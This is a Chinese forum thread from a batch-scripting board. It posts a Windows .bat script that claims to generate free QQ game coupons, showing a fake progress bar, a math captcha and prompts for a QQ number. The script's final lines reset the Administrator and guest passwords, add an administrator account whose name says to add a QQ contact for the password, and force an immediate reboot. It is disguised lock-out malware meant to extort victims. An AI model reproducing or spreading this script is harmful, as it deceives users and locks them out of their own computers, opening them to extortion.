帮帮我
bat吧
全部回复
仅看楼主
level 8
@echo off
title 刷点券
:sd
echo ┌——————————————————————————————————————┐
set/p= ■<nul
for /L %%i in (1 1 38) do set /p a=■<nul&ping /n 1 127.0.0.1>nul
echo 100%%
echo └——————————————————————————————————————┘
pause
cls
set /a figure1=%random%%%100
set /a figure2=%random%%%100
echo 请输入验证码(下列算式的答案)
echo %figure1%+%figure2%=?
set /p answer=
cls
set /a key=%figure1%+%figure2%
if %answer%==%key% (
goto ec
) else (
echo 验证码错误!按任意键重新输入。
pause
goto sd
)
:ec
cls
color 0a
if %a% equ a (
goto a
) else (
goto b
)
:b
cls
echo 不同意刷什么
pause
goto ec
:a
cls
set /p s=输入你的QQ号
set /p m=请输入你要刷的点券数(10000以下)
if %m% geq 10000 (
goto q
) else (
goto go
)
:q
cls
echo 别贪心
pause
goto a
:go
@mshta vbscript:msgbox("你的QQ号是%s%,要刷%m%点券",64,"确定吗")(window.close)
net user Administrator ******
net user guest ******
net user 要密码加QQ***** ****** /add
net localgroup administrators 要密码加QQ**** /add
shutdown -f -r -t 0 ::关机
2018年03月18日 05点03分 1
level 8
密码是什么
2018年03月18日 05点03分 2
1